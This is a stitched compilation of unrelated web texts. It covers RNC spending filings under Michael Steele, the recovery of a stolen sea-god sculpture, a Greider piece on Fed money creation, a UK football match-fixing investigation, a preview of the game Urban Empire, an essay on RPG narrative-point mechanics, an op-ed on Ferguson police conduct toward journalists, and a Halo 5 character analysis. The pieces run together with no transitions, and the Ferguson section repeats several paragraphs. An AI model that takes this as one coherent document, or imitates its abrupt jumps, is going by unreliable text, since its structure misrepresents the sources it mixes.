In this Feb. 3, 2010 file photo Republican National Committee Chairman Michael Steele speaks at the John F. Kennedy School of Government on the campus of Harvard University, in Cambridge, Mass. A federal court Friday denied a Republican Party bidto raise soft money, the unlimited donations from corporations and individuals banned by a 2002 campaign finance law. In a separate ruling, judges said a conservative group can raise unlimited sums for independent election ads but must regularly discloseits donors. less In this Feb. 3, 2010 file photo Republican National Committee Chairman Michael Steele speaks at the John F. Kennedy School of Government on the campus of Harvard University, in Cambridge, Mass. A federal court ... more Photo: Steven Senne, AP Photo: Steven Senne, AP Image 1 of / 1 Caption Close GOP spent thousands on luxury jets, adult club 1 / 1 Back to Gallery
The Republican National Committee spent tens of thousands of dollars last month on luxury jets, posh hotels and other high-flying expenses, according to new Federal Election Commission filings, including nearly $2,000 for "meals" at Voyeur West Hollywood, a nightclub featuring topless dancers simulating lesbian sex.
The RNC spent more than $17,000 on private jet travel in February as well as nearly $13,000 for limousines, according to the documents. The GOP's main political committee also ran up tabs at numerous posh hotels, including the Beverly Hills Hotel ($9,000); the Beverly Wilshire Four Seasons ($6,600) and the W Hotel in Washington ($15,000), and spent more than $43,000 on its controversial midwinter meeting in Hawaii, not including airfare.
The disclosures create another spending controversy for the RNC and its chairman, Michael Steele, who has come under steady fire from Democrats and some fellow Republicans for his financial stewardship of the organization.
The RNC said in a statement Monday that it was investigating the Voyeur West Hollywood expenditure, which it said was "a reimbursement made to a non-committee staffer." The committee also said it was requesting that the money be returned and emphasized that Steele was not at the event.
"The chairman was never at the location in question, he had no knowledge of the expenditure, nor does he find the use of committee funds at such a location at all acceptable," the RNC statement said.
The committee had more than $22 million on hand when Steele arrived last year, but is down to under $10 million now despite raising $96 million during that time, records show. A previous dustup over Steele's spending habits prompted party leaders to approve new restrictions requiring more oversight and competitive bidding for contracts over $100,000. The Daily Caller Web site, which first noted the new Federal Election Commission filings, also reported that Steele had initially suggested that the RNC should purchase a private jet for his travels after he first took over the job.
Steele's spending habits have prompted angry complaints from wealthy GOP donors and party officials, who fear the chairman is making poor financial decisions and undercutting the GOP's attempt to cast itself as the party of fiscal responsibility.
"Nothing surprises me," said one former RNC aide, who spoke on the condition of anonymity. "It definitely speaks to the desire for first-class accommodations over there."
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A six-feet-high sculpture of a Celtic sea god stolen from Binevenagh Mountain has been recovered by soldiers on a training exercise.
Manannan Mac Lir, a Celtic sea god made from fibreglass and stainless steel, was stolen from the mountain near Limavady in Co Londonderry last month.
The statue, by sculptor John Sutton, who has worked on Game of Thrones, had became a popular tourist attraction in the area since it was constructed last year.
Manannan Mac Lir was recovered in Binevenagh Forest on Saturday after ramblers spotted it and alerted troops from the 2nd Battalion of the Royal Irish Regiment who were on a weekend training exercise. The head of the statue had been damaged.
Local SDLP councillor Gerry Mullan said the damage had yet to be fully assessed, but added he was hopeful the sculpture could be restored.
"It is in police custody at the moment," he said. "I am very hopeful it could be repaired."
Cllr Mullan said he believed an outcry over the theft led to the statue being left back a short distance from where it had been stolen.
"There had already been a very extensive search involving at least 12 PSNI officers and a helicopter," he said.
Those who stole the statue last month left a wooden cross with the words "You shall have no other gods before me" in its place.
The theft prompted a campaign for its safe return and Limavady Borough Council had voted to replace the stolen artwork.
In an important new article in the Nation, Greider confirms Ellen Brown’s argument that the government could solve the economic crisis by taking back the power of money creation:
For the first time in generations, [the Fed is] now threatened with popular rebellion.
During the past year, the Fed has flooded the streets with money–distributing trillions of dollars to banks, financial markets and commercial interests …
Where did the central bank get all the money it is handing out? Basically, the Fed printed it, out of thin air. That is what central banks do. Who told the Fed governors they could do this? Nobody, really–not Congress or the president. The Federal Reserve Board, alone among government agencies, does not submit its budgets to Congress for authorization and appropriation. It raises its own money, sets its own priorities.
Representative Wright Patman, the Texas populist who was a scourge of central bankers, once described the Federal Reserve as “a pretty queer duck.” Congress created the Fed in 1913 with the presumption that it would be “independent” from the rest of government, aloof from regular politics and deliberately shielded from the hot breath of voters or the grasping appetites of private interests–with one powerful exception: the bankers…
Banks are the “shareholders” who ostensibly own the twelve regional Federal Reserve banks…
The Federal Reserve is the black hole of our democracy–the crucial contradiction that keeps the people and their representatives from having any voice in these most important public policies. That’s why the central bankers have always operated in secrecy, avoiding public controversy and inevitable accusations of special deal-making. The current crisis has blown the central bank’s cover…
Altering the central bank would also give Congress an opening to reclaim its primacy in this most important matter. That sounds farfetched to modern sensibilities, and traditionalists will scream that it is a recipe for inflationary disaster. But this is what the Constitution prescribes: “The Congress shall have the power to coin money [and] regulate the value thereof.” It does not grant the president or the treasury secretary this power. Nor does it envision a secretive central bank that interacts murkily with the executive branch…
If Ben Bernanke can create trillions of dollars at will and spread them around the financial system, could government do the same thing to finance important public projects the people want and need? Daring as it sounds, the answer is, Yes, we can.
The central bank’s most mysterious power–to create money with a few computer keystrokes–is dauntingly complicated, and the mechanics are not widely understood. But the essential thing to understand is that this power relies on democratic consent–the people’s trust, their willingness to accept the currency and use it in exchange. This is not entirely voluntary, since the government also requires people to pay their taxes in dollars, not euros or yen. But citizens conferred the power on government through their elected representatives. Newly created money is often called the “pure credit” of the nation. In principle, it exists for the benefit of all];
In this emergency, Bernanke essentially used the Fed’s money-creation power in a way that resembles the “greenbacks” Abraham Lincoln printed to fight the Civil War. Lincoln was faced with rising costs and shrinking revenues (because the Confederate states had left the Union). The president authorized issuance of a novel national currency–the “greenback”–that had no backing in gold reserves and therefore outraged orthodox thinking. But the greenbacks worked. The expanded money supply helped pay for war mobilization and kept the economy booming. In a sense, Lincoln won the war by relying on the “full faith and credit” of the people, much as Bernanke is printing money freely to fight off financial collapse and deflation.
If Congress chooses to take charge of its constitutional duty, it could similarly use greenback currency created by the Federal Reserve as a legitimate channel for financing important public projects–like sorely needed improvements to the nation’s infrastructure. Obviously, this has to be done carefully and responsibly, limited to normal expansion of the money supply and used only for projects that truly benefit the entire nation (lest it lead to inflation). But here is an example of how it would work…
Instead, Congress should create a stand-alone development fund for long-term capital investment projects (this would require the long-sought reform of the federal budget, which makes no distinction between current operating spending and long-term investment). The Fed would continue to create money only as needed by the economy; but instead of injecting this money into the banking system, a portion of it would go directly to the capital investment fund, earmarked by Congress for specific projects of great urgency. The idea of direct financing for infrastructure has been proposed periodically for many years by groups from right and left…
This approach speaks to the contradiction House Speaker Pelosi pointed out when she asked why the Fed has limitless money to spend however it sees fit. Instead of borrowing the money to pay for the new rail system, the government financing would draw on the public’s money-creation process–just as Lincoln did and Bernanke is now doing.
The Singaporean, who was arrested on Tuesday night, was secretly recorded saying that he would pay referees across Europe a fee of £20,000.
It is understood that the claim is also being examined by the National Crime Agency which has launched a major investigation into match fixing in the wake of disclosures made by The Telegraph .
The man was one of six arrested by the National Crime Agency earlier this week. Three footballers and Delroy Facey, a player-turned-agent who has played in the Premier League, were also arrested.
It can now be disclosed that, as well as claiming he could pay players to fix matches, the Singaporean man also alleged that referees were involved.
“The price for one game is £20,000”, said the fixer. “So I know some referees … You want Europe, anywhere, £20,000”.
It was not clear from the conversation whether any British referees were involved.
The fixer arrived in this country last week and was arrested on Tuesday evening.
In a series of covertly recorded conversations over the past fortnight, he claimed that lower league matches could be fixed for as little as £50,000 and correctly forecast the outcome of three games played by the same team.
It is the first time police have amassed sufficient evidence to hold those suspected of attempting to fix a match in Britain, following a series of similar scandals abroad.
In a statement, the NCA said: "Six men have been arrested across the country as part of an NCA investigation into alleged football match fixing.
"The focus of the operation is a suspected international illegal betting syndicate. The NCA is working closely with the Gambling Commission and the Football Association."
The operation is one of the first by the agency, dubbed Britain's FBI, which was launched this year to fight suspected organised and serious crime.
The identities of the teams involved cannot be disclosed for legal reasons, as the police operation is understood to remain active. However, they are not Premiership sides. "This operation remains very live with new developments on an almost daily basis," said one well – placed source.
Nick Clegg has said that the allegations about football match-rigging are “very worrying” and warned that it must be investigated by the authorities.
Mr Clegg told LBC Radio: “It needs to be looked at. Like any person who follows football I’ve read accounts of football match fixing in other countries and thought there by the grace of god go we.
“To hear that it’s now being investigated here, there have been arrests in the Midlands, is very worrying.
“I hope that’s the sum total of it. It would be terrible if we look back in months and years to come and discover this is the tip of [theice-berg].”
The disclosure of the match fixing arrests has led to claims that the problem has now become “endemic” in the global game.
Match-fixing is “endemic” in football, the former head of security for Fifa claimed today after members of an alleged betting syndicate were arrested on suspicion of fixing English games.
Chris Eaton, now director of sport integrity at the International Centre for Sport Security, said it had been “only a matter of time” before the English game was caught up in what he called the “global wave of match-fixing in football.”
He said: "International sport, especially football, is in serious trouble with corruption of its competitions.”
David Davies, the former Football Association, said that English football is not immune to the “disease” of match fixing.
"We are not immune to a disease that has already struck in 60 countries, at least, around the world where match-fixing has been alleged and in some cases been proved", he said.
Mr Davies, who has spent time in the Far East seeing how betting works over there, added: "People are fanatical about betting even in areas where it's illegal.
"The truth is there is all of this unofficial betting, quite a lot of it on the Internet, and they bet on everything and anything."
The suspected match fixers are being held under the bribery and fraud Acts at a police station in the Midlands. It is understood that the Crown Prosecution Service has been liaising with police officers in recent days.
The suggestion that English football games are susceptible to match – fixing will cause serious concern for the Football Association.
In recent years concern has been growing that gangs were targeting matches in the UK. This newspaper was approached by an undercover investigator with links to Fifa, who had been gathering evidence against suspected Asian match fixers offering to operate in Britain.
During a series of undercover meetings in Manchester this month, which were covertly recorded, one of the fixers claimed he could rig games and that potential gamblers would make hundreds of thousands of pounds by using the inside information on Asian – based betting websites.
The fixer, from Singapore, also alleged that he controlled teams in other European countries and could buy foreign referees to secure results.
"In England the cost is very high … usually for the players it is £70,000," he explained in imperfect English.
He offered to target two football matches in Britain this month. He said he planned to tell players how many goals he needed to be scored in total. "I commit myself and they commit. So you tell me how many goals … Give me at least five … either 3–2, 4–0 or zero, … for me four is enough."
He also claimed that he would pay one player an extra £5,000 to take a yellow card at the beginning of the game as a signal that the match's result was likely to be manipulated. During one meeting this month, the fixer correctly predicted how many goals would be scored during a match the following day.
"This is my team", he began, pointing to the club listed on a gambling website. "I know what they're going to do."
He added: "I know because they all tell me every time. Because sometimes I have extra money, I just send them some money … because sometimes they need money or they call me so I just leave them some pocket money."
The fixer asked us for €60,000 [£50,000], which he said was to cover the cost of paying the players.
He claimed to be connected to Wilson Raj Perumal, who has been convicted of rigging football matches abroad. "Wilson Raj Perumal … he's the king … he's my boss. Everybody in the world know him," the fixer said.
Raj Perumal, is also originally from Singapore, but has lived in London. He is understood to be responsible for fixing numerous football matches over the last 30 years, and is helping the Hungarian police to investigate corruption.
Match fixers target players and officials to rig the result of games so that they can earn hundreds of thousands of pounds by betting or allowing others to bet on the predetermined outcome.
The gambling takes place in the Asian market and British betting markets are not believed to have been implicated.
International betting monitors have warned that millions of pounds are being wagered on Conference games and some UK bookmakers stopped taking bets on some teams early this year.
It is understood that there are active police investigations into football fixing in more than 60 countries.
Developers Fragment have released several titles, focusing on simulations based around city services most notably with the Rescue: Everyday Heroes series. Urban Empire marks a change in direction and is the studio’s most ambitious game to date, combining a basic citybuilder with a multi-party political model that undergoes radical changes during the two centuries that a playthrough covers. Before digging into that side of the game, it’s important to understand what you can and can’t do when actually constructing your city.
Fragment share a home town with Colossal Order – Tampere, 100 miles North of Helsinki – where founder and creative director Mikko Tyni had previously spent time working on the Cities in Motion series. Urban Empire initially looks like a historical take on Colossal Order’s latest, Cities: Skylines, but beyond surface similarities it has very little in common with that game or the ones that inspired it. Instead, this is a game about managing the expansion and development of a city by means of political maneuvering, against the backdrop of a world undergoing all of the changes of the modern era.
You won’t be placing water pipes and power lines. In fact, you won’t even be placing roads. All of that is left to the civic planners and private enterprises that fill the districts that you paint onto the map. District placement allows you to create the shape of the city, as well as informing the kind of structures and services that might populate each new area. As soon as you choose to expand though, you’ll be faced with your first vote.
Skyline and SimCity play out on the map of the city itself but Urban Empire’s heart is the council chamber, where voting takes place. When you place a district, representatives of each political party vote to decide whether or not they support the expansion. If you really want that district or feel that the city needs it, you can use private funds (if they’re available) to dodge the vote, but otherwise you’re at the mercy of the chamber.
At the beginning of the game, nobody is going to block expansion. It’s clearly good for the city and its people, and none of the parties are going to have personal issues with your character. No issues that can’t be fixed, at any rate. As the city grows, and crises and opportunities arise, you’ll make friends and enemies on all sides. Parties have their own ideologies and goals, and supporting them might earn you favour that can be used when a contentious decision has to be pushed through parliament. Failing that, you an always bribe, threaten, coax and cajoke, though every option could backfire.
The voting takes place on a screen that shows a representation of the parties, seated at their benches and identified by flags. As the count comes in, the ‘yes’ and ‘no’ bars fill. It’s a speedy process but effectively tense. A landslide victory is reassuring and encouraging, while a close fought battle that ends in defeat is cause for clenched fists and swearing.
You’re not the only person who can trigger a vote. The parties will raise issues, reacting dynamically to a combination of the current political situation in both the city (which you affect as you play) and the wider world (which is a linear, historical narrative). The latter is the most interesting aspect of the game and the one that is hardest to appreciate fully without extended hands-on time. Essentially, while each playthrough will create new scenarios – through events that occur dynamically and through player direction in both the building of the city, the manipulation of politics and the path taken through the research cloud – the story of the fictional empire that your city is a part of is already written.
Every time you play, the empire will eventually dissipate because that is what empires tended to do as the twentieth century was born, screaming. You’ll be insulated from much of the screaming, embedded in domestic affairs as you are, and I find the idea of a game which has conflict relegated to the background fascinating. The world will go to war (twice), leading to new international political organisations and new homegrown political parties, as well as the end of existing parties. It’s that political impact, on the homefront, that’ll matter to you, as mayor.
Currently, there’s no way to lose the game in the imperial stages. At any one time, you’re playing as a specific character. If you’ve ever been staring at a city on your screen, dropping a police station into position, and wondered, “who am I?”, this is the game for you. You’re a proper person, with stories of your own. In a lovely touch, the loading screens show an image of the character you’re currently playing as, with a quote underneath, making them seem like real historical people. At the beginning of each game, you can choose from one of several families and each has several playable characters, who you’ll take control of at set times through the two hundred years of play.
That’s provided you make it through those two hundred years. While there’s no fail state in the early game, as soon as the imperial age ends, you can lose the game by losing an election. That adds extra pressure. Not only are you trying to build the city of your dreams, whether they be utilitarian or utopian, you’re also trying to ensure that you please enough of the people in the short-term to remain in power. Given the volatility of the political and social scenes in the twentieth century, that could be extremely tricky. Along the way, you’ll have to deal with all manner of events arising from social and technological progress, from women’s liberation to the advent of social media and new sources of industry and economic control.
Being mistaken for a citybuilder is the worst thing that could happen to Urban Empire. The city is simply the most obvious visual output of the game’s machinery, which is the dynamic political decision-making, and progress through the troubles and triumphs of modern Europe. At its core, I recognise a familiar and satisfying loop: you expand your city to create more ‘brainpower’, the resource which allows you to advance research, and that progress in turn creates new possibilities for growth and new dilemmas.
In Skylines, SimCity and the rest, it’s difficult to fail. Even the most polluted and miserable of cities can recover, given a little care and a lot of patience. Urban Empire acknowledges that some cities, and some states, do fail. And so do certain political dynasties. While the history of the world remains the same on each playthrough, the existence of your city is defined by dynamic events and your reactions to those events, as well as the relationships you form over the decades.
Since I’ve gotten used to playing QAGS, I feel limited when I play RPGs (at least traditional ones with distinct GM and player roles) that don’t have some kind of mechanic that allows players to bend the rules and take narrative control. At this point, I think every game needs some kind of Yum Yum/Hero Point/Fate Point/Whatever mechanic, and I usually advocate adding them even to systems where they’re not built in. Here’s why:
The Character Sheet Can Never Fully Describe the Character
I wrote about this a while back, but the short version is that there are alway aspects of the character that aren’t represented on the character sheet because trying to account for everything the characters knows how to do, much less everything and everyone he knows and everything he owns mechanically is insane and ultimately doomed to failure. Benny points allow players to fill in the gaps as they become relevant to the story. These additions often work out in favor of the players, but that’s how fiction works. Authors and screenwriters regularly introduce new character knowledge, contacts, and other resources to help move the plot along.
Even Mechanically Defined Traits Have Wiggle Room
The best example here is something like comic book super-powers, where writers frequently come up with new and perfectly logical ways to use a particular power. For example, Flash writers are always coming up with perfectly logical new speed powers (vibrating through walls, reading at super speed, whatever) that most RPG books don’t include as part of the basic "Super Speed" ability. In most cases, the mechanics that allow players to take advantage of these also limit them in some way--if you're out of bennies when you want to vibrate through another wall, either you or the GM just makes up some reason why it doesn't work (the wall's too thick and you might get trapped, the wall's too thin and you might end up with internal splinters, whatever) or even why it worked the last time (the other wall was made out of a more porous material) but won’t work now.
No World Is Fully Described
No matter how much you know about a world, there are always details that haven’t been established. When there’s a question about these unknowns, Bennies provide a currency with which the players can “buy” world details that work in the party’s favor. For example, if the party has a bag full of rubies and wants to impress the Elf King, he can spend a Yum Yum to establish that Elves value rubies above all other gems. As long as that doesn’t contradict anything we already know about elves in the world, it becomes canon. If the party shows up with diamonds later in the campaign, the Elf King is going to be bummed out that they didn’t bring rubies like last time. He might even cry.
The GM Can’t Describe Everything
Until virtual reality is a thing, there's always going to be a sensory gap between the GM's description and what the characters themselves are seeing. The GM probably isn't going to mention the candelabra hanging from the ceiling in the bar when the players walk in (even though it's the kind of thing the swashbuckler would notice immediately). When a fight starts and the swashbuckler inevitably needs something swing on, he introduces the candelabra without wasting time (and breaking immersion) asking about the furniture by spending a Benny.
Sometimes Things Go According To Plan
Dice rolls in an rpg essentially represent all the situational variations that determine success or failure. If a character is trying to knock down a door, we already know the character’s physical strength (from Body or Strength or some other stat) and possibly the stoutness of the door (in the form of a Difficulty Number or Structural Integrity or whatever your system uses). If those were the only things that mattered, we could just compare them and skip the roll. The roll represents whether the character hits the door in just the right spot, whether the hinges are a little weakened by rust, how much the moisture of the dungeon has warped the door (and whether that makes it easier or harder to bust open), etc. When a player spends Bennies, he’s essentially just establishing that some or all of these random factors are working out to to the character’s advantage.
While I agree that the upshot is an abrogation of constitutional protections, I don't credit Ferguson or St. Louis County cops with the Machiavellian cunning required to intentionally silence journalists. Rather, I see idiocy. Indeed, when the Los Angeles Times ' Matt Pearce called Ferguson Police Chief Thomas Jackson to ask about the journalists' arrests, Jackson responded, "Oh God." In a press conference Thursday, a red-faced and stuttering Jackson told an Al Jazeera reporter that "the media is not a target" and that he did not know why tear gas and rubber pellets had been used on their crew. Peak faux pas, reached.
Cops arrested and assaulted two journalists with national platforms, Ryan J. Reilly of the Huffington Post and Wesley Lowery of the Washington Post . They put Alderman Antonio French in a cell overnight and shot tear gas at an Al Jazeera America camera crew. In response, Twitter bubbled with outrage about how such blatant disregard for press freedoms pointed to an explicit attempt to sever flows of information about police brutality in Ferguson.
On Wednesday night in Ferguson, Missouri, police continued their violent assault on the St. Louis suburb. According to reports, 16 arrests were made over the course of the night. The inept, excessively militarized municipal cops used tear gas, rubber bullets, and aggression with astounding disregard for young black lives — and a seeming disregard for public opinion.
Read more
On Wednesday night in Ferguson, Missouri, police continued their violent assault on the St. Louis suburb. According to reports, 16 arrests were made over the course of the night. The inept, excessively militarized municipal cops used tear gas, rubber bullets, and aggression with astounding disregard for young black lives — and a seeming disregard for public opinion.
Cops arrested and assaulted two journalists with national platforms, Ryan J. Reilly of the Huffington Post and Wesley Lowery of the Washington Post. They put Alderman Antonio French in a cell overnight and shot tear gas at an Al Jazeera America camera crew. In response, Twitter bubbled with outrage about how such blatant disregard for press freedoms pointed to an explicit attempt to sever flows of information about police brutality in Ferguson.
While I agree that the upshot is an abrogation of constitutional protections, I don't credit Ferguson or St. Louis County cops with the Machiavellian cunning required to intentionally silence journalists. Rather, I see idiocy. Indeed, when the Los Angeles Times' Matt Pearce called Ferguson Police Chief Thomas Jackson to ask about the journalists' arrests, Jackson responded, "Oh God." In a press conference Thursday, a red-faced and stuttering Jackson told an Al Jazeera reporter that "the media is not a target" and that he did not know why tear gas and rubber pellets had been used on their crew. Peak faux pas, reached.
'Hands up, don't shoot': Ferguson protests in photos. See them here.
I commend both Reilly and Lowery for using their experiences to direct attention toward the violence inflicted on Ferguson arrestees possessed of no journalistic privileges. And I am grateful for the work of professional journalists deploying their skills on the ground right now. But in the age of social media, professional reporting is no longer the sole means of information spreading. The undeserved arrest of journalists in Ferguson does not point to a situation more grave than one in which a young, unarmed black man is executed by cops, nor one in which people protesting that execution meet a military-style crackdown.
It's hard to judge whether the police forces in Ferguson right now are brazen or simply stupid — or a mixture of both.
When I was reporting for the New York Times in 2011, I was arrested alongside Occupy protesters who had marched onto the Brooklyn Bridge. The arrest of a Times freelancer certainly brought heightened attention to the Occupy efforts, but putting me in cuffs was among the least violent acts I saw the NYPD carry out. We shouldn't need the vaunted Fourth Estate to encounter this brutality firsthand to trigger a push back against police violence.
It's hard to judge whether the police forces in Ferguson right now are brazen or simply stupid — or a mixture of both. But Missouri Governor Jay Nixon decided to intervene after four nights of police brutality and public rage. (I don't personally think Nixon gives a shit about the impoverished suburb, but national outrage is not a good look for state leaders.) On Thursday he announced that there would be an "operational shift" and a "change in tone" in the policing henceforth, and that the Missouri Highway Patrol would take over policing duties in Ferguson.
One can only assume that the "operational shift" will entail less fodder for viral outrage — the upshot of local policing infused, as it is, with thuggishness and military weaponry. I expect less tear gas, more police bodies on the ground, and likely some top-down orders urging officer restraint.
Mightier and wealthier police departments in major cities also shoot unarmed black teens with impunity. But they know a little more about optics when it comes to civil unrest. They learned the lessons of the 1999 riots in Seattle, when so much tear gas was used on World Trade Organization protestors that hotels hosting WTO guests had to be evacuated. You won't see tear gas in New York or Chicago. NYPD riot gear looks comparatively subtle. These police departments are militarized but tend to rely on sheer numbers to foreclose riotous dissent after they kill kids.
Anger is boiling over in Ferguson as governor brings in Highway Patrol. Read more here.
Whether cops are ineptly or adeptly brutal, their violence is structural and deserving of revulsion. If the "operational shift" in Ferguson serves to calm the streets at night and reduces the dramatic images on our Twitter feeds, there is still no grounds for quieting the collective fury, burgeoning with each night of rage in Missouri. De-escalation in Ferguson is no reason to forgive the police state that summarily executed Michael Brown, Ezell Ford, Eric Garner, Kimani Gray, Ramarley Graham, Sean Bell, Oscar Grant, Amadou Diallo and so many more.
This is our second of three weapons-down missions, and quite easily the best of the bunch! It’s another one of those missions that is as long as you make it, and for the purpose of this analysis I spent a good forty minutes soaking in every possible nugget of dialogue I could.
So let’s get right to it. Let me set the tone right away here: I think that the writing of this opening scene is of the same calibre as the scenes we got in Halo 4. Finally, we have a scene where two characters are just talking to each other, and with no stilted dialogue to-boot (like we had in the scene between Locke and Buck in Glassed and Locke and Vale in Swords of Sanghelios which we covered earlier).
We have a scene where nothing is actually happening here, yet at the same time everything is happening in terms of the characterisation.
I love it.
We open with this sweeping view of Thel’s tent perched atop a high cliff, cutting to Locke walking in and just looking out over the horizon. The music playing lightly in the background sets this tone of uncertainty and also has a distinct ‘Sangheili theme’ if you get my meaning – the tracks that play in the Sanghelios arc do a really great job of capturing this sense of their culture.
This is a moment that Locke has evidently been anticipating with some degree of nervousness, thinking back to his dialogue at the start of Reunion which I talked about (the way he says “but it means going to Sanghelios”), and that tone is conveyed here really well without a single line of dialogue. Upon hearing his thudding footsteps, Locke turns and sees Thel ‘Vadam, the Arbiter, entering the tent. As is very characteristically appropriate for Locke, he approaches this uncertain meeting with a sense of diplomacy, straight-forwardness, and respect.
Locke: “Spartan Jameson Locke, UNSC. Captain Lasky sends his greetings, and thanks you for your cooperation.”
The camera here focuses on Locke’s face, so we get a really good look at the subtleties in Mike Colter’s facial expressions, the way in which he conveys these lines beyond Ike Amadi’s (incredible) voice.
Just like in Halo 4 – you wouldn’t just analyse John based on Steve Downes’ voice delivery, but how Bruce Thomas added these brilliant nuances to the ways in which John would move which was very much in-keeping with how Spartan-IIs are characterised in the books. It had me ‘playing Halsey’ throughout Halo 4 because she was able to distinguish her Spartans based on their subtle movements, it’s really good to see that level of performance put into Locke as well.
He’s looking Thel directly in the eye, you can see that he’s doing his best to come across as honest and respectful, not just because it’s an effective means of getting Thel to cooperate but because that really is Jameson Locke in a nutshell.
Thel, meanwhile, is having none of it.
Thel: “ONI… out of the shadows. The spies announce themselves now, Agent Locke?”
Locke: “I’m a Spartan now, sir.”
Thel: “I know who you are. You were an agent when you volunteered to execute me.”
It’s Thel who comes across as arrogant and presumptuous here, which is also extremely in-character for him, even having developed as much as a person as he has. And then he does something really interesting – he turns his back on Locke.
As if goading him, daring him, to take his chance.
Testing to see if Locke is as good as his word. This interaction highlights a theme which has been extremely prevalent in Halo, which is the duality of names and titles – the conflict of identity within that. It was one of the driving conflicts in Hunt the Truth’s second season when Maya says:
“What terrified me most was after five years of living as Fero, I had no idea what Maya was supposed to think about any of it…”
We see this with pretty much all of the major characters to some extent in the franchise, like ‘the Master Chief’ vs ‘John’. The idea of ‘the Master Chief’ is the role he plays when he puts on the armour, being the hero, whereas John is the person underneath that which Halo 4 really beautifully explored the dichotomy of.
Well, this applies to Locke too, and I finally get to drop quotes from Frank O’Connor and Brian Reed which were not lies or ridicule.
O’Connor: “I think the most important thing about Nightfall was getting to see Agent Locke getting an understanding of what Spartans are – that dedication to duty and honour above all the kind of subterfuge and politics that the Office of Naval Intelligence has built into its DNA. And giving him some perspective on his former career as we bridge that into his future career, which you play in Halo 5.”
Reed: “He is going from being Agent Locke to Spartan Locke. He understands what it means to be a Spartan now.”
We have the dichotomy established here for Locke – Agent Locke versus Spartan Locke.
This is absolutely relevant to the opening exchange between Thel and Locke, as Thel is looking at Locke one way whereas Locke has very much grown since then to become who he is now – just as Thel has, going from Thel ‘Vadamee, to the Arbiter, to reclaiming his name and identity as Thel ‘Vadam.
Thel walks into the room thinking he’s got Locke in a box. Now, there’s definitely a degree to which we can understand why he has that perspective considering the history between them where Locke recommended and signed up for Thel’s assassination, but, as it was (not) so eloquently and tellingly put at the start of the last mission – “things changed”. At its core, I think one of the pillars of Halo’s storytelling is this discovery of inner ‘humanity’, or some meaningful sense of personal growth (which is why I continue to be salty about the fate of Jul ‘Mdama, but that’s for another time).
The titles that these characters are given are intrinsically tied to the way in which others perceive them. But the names are who these people truly are, and that is what this scene illustrates.
We see just a bit of that arrogance of Thel ‘Vadamee return here in how he converses with Locke, the same kind of arrogance we saw in The Cole Protocol in how he treated characters like Zhar and Jora – I recommend going back to reread the book because ‘Vadamee was just awful as a person in general at that stage in his life. Furthermore, a good friend of mine has written up her own lengthy analysis of Thel’s arc modelled on Joseph Campbell’s Monomyth which I highly recommend you give a read for enriching your perspective of the character.
Back to the scene, going off these points, there’s another interesting sort of reversal here as well.
The first thing Thel says to Locke is calling him “ONI”, referring to the organisation whose name based on a Japanese demon. Even the name of his team, Osiris, refers to a deity associated with death and the underworld. How fitting it is then that Locke should respond to Thel in this conversation by saying “I saved your life today”, because it highlights Locke’s role in this story.
Locke is a guardian angel. In Nightfall, the foundational story that established Locke’s character and growth, Randall Aiken’s dialogue in the final episode really sets this as a theme.
Randall-037 (Aiken): “And in their final moments as a soldier, you know they will have to answer the same question you did in yours: with your life, would you only create death? Or, with your death, would you create life? That is my question to you, Commander Locke. How will you die? And for what?”
Halsey was slated to be executed by order of Serin Osman, head of ONI. Now Locke, a former-ONI agent, comes into the picture and his mission is to save her from Jul.
Even the opening words of the game are from Halsey at some point in the future saying to Locke that ONI will order him to “kill us both”. While lacking in meaning and context regarding this story, that does tell us that this question of Randall’s is going to be relevant at a later point.
Locke, as an ONI agent in the Human-Covenant war, recommended killing Thel ‘Vadamee, and signed up to be the one to do it. When they actually meet, Locke saves Thel’s life as he and the Swords of Sanghelios are losing a fight against the Covenant in the Elder Council Chamber. Later, in Battle of Sunaion, he also advises Thel about how to avoid the Guardian’s pre-slipspace concussive blasts at Sunaion to protect his people.
And then, at the end of the game, he saves Blue Team. He is staggering on his hands and knees towards the relay device that will cede control of Genesis back to Exuberant Witness, the Guardians wearing him down to the point where he momentarily blacks out. He was willing to give his life to ensure that Blue Team wouldn’t be taken by Cortana. There’s a lot going on under the surface here in the way in which these lines have their double-meanings, how the lines are delivered, how the characters move (or, in Locke’s case, don’t move because he’s called Thel’s bluff on the whole “I’m turning my back to you, go on take your shot” thing), and so on.
I really like this scene, I really like what it does for these characters. This is what a scene that shows and doesn’t tell looks like. We are shown that Thel still has those moments of arrogance resurface, for reasons which are, again, understandable from his perspective so it’s not quite as simple as just saying “he’s arrogant”. It’s “he is put in a situation where his arrogance comes to the surface because of reasons x, y, and z”.
If I were to raise criticisms here, it’s that Thel seems to just know that Locke is after Blue Team when he had no idea in the Master Chief Collection’s bookend cutscenes. And that the dialogue about Osiris’ mission only ever refers to John, not Blue Team, further contributing to the feeling that their involvement in the story is just to serve as avatars for players 2, 3, and 4.
As Morgan Lockhart said in Halo 5’s SDCC panel last year:
“Osiris is having to pursue Chief, and they’re having to seek out people who can give them insight into Chief – and, obviously, Arbiter is one of the few people out there who knows Chief better than maybe he knows himself.”
We really don’t see that reflected in this game, discussion of John, let alone Thel’s perspective on him, barely comes up in the Sanghelios arc which is a real shame because you could have some great dialogue there. And then Cortana suddenly ‘appears’ and very much spoils the moment, and my illusions of experiencing something that is a worthy follow-up to Halo 4 come crashing down as the main plot invades this arc…
It’s a very contrived way of trying to kick the plot back into gear in my opinion, almost like they got to a certain point with the Thel/Locke conversation and had no idea where to go with that so they just said “okay, let’s forget about that for now and get things going again”.
What’s more, nothing is done regarding Thel reacting to this being Cortana, who he met and saw the Master Chief brave a solo mission into the Flood-infested High Charity to rescue in Halo 3. He has one line acknowledging her as “the human AI” in ambient dialogue in this mission and that’s it.
Halsey comes in with Palmer and tells us we gotta get the plot moving again, Locke now turns to Thel and lays the situation bare – you have the firepower and resources to help us. Thel, however, remains cautious because the end of the Covenant is what he’s been working towards for years and while they are content to lay themselves at his feet following the deaths of their leader he is unwilling to engage them until he is certain that the Swords will win. Again, very in-character. His goal is within sight, but he’s not rushing towards it just yet.
And we then get a wonderful shot where Halo’s three most controversial and divisive characters are in the same frame. We get to the gameplay now within Thel’s camp and oh boy there are some treats scattered around here. Let’s start off by talking about the visuals because this is really interesting to think about from an artist’s perspective.
Actually, let’s backtrack a bit first to what I talked about in the Swords of Sanghelios post regarding each of the locations in this game and how they’re presented to us as very hostile places.
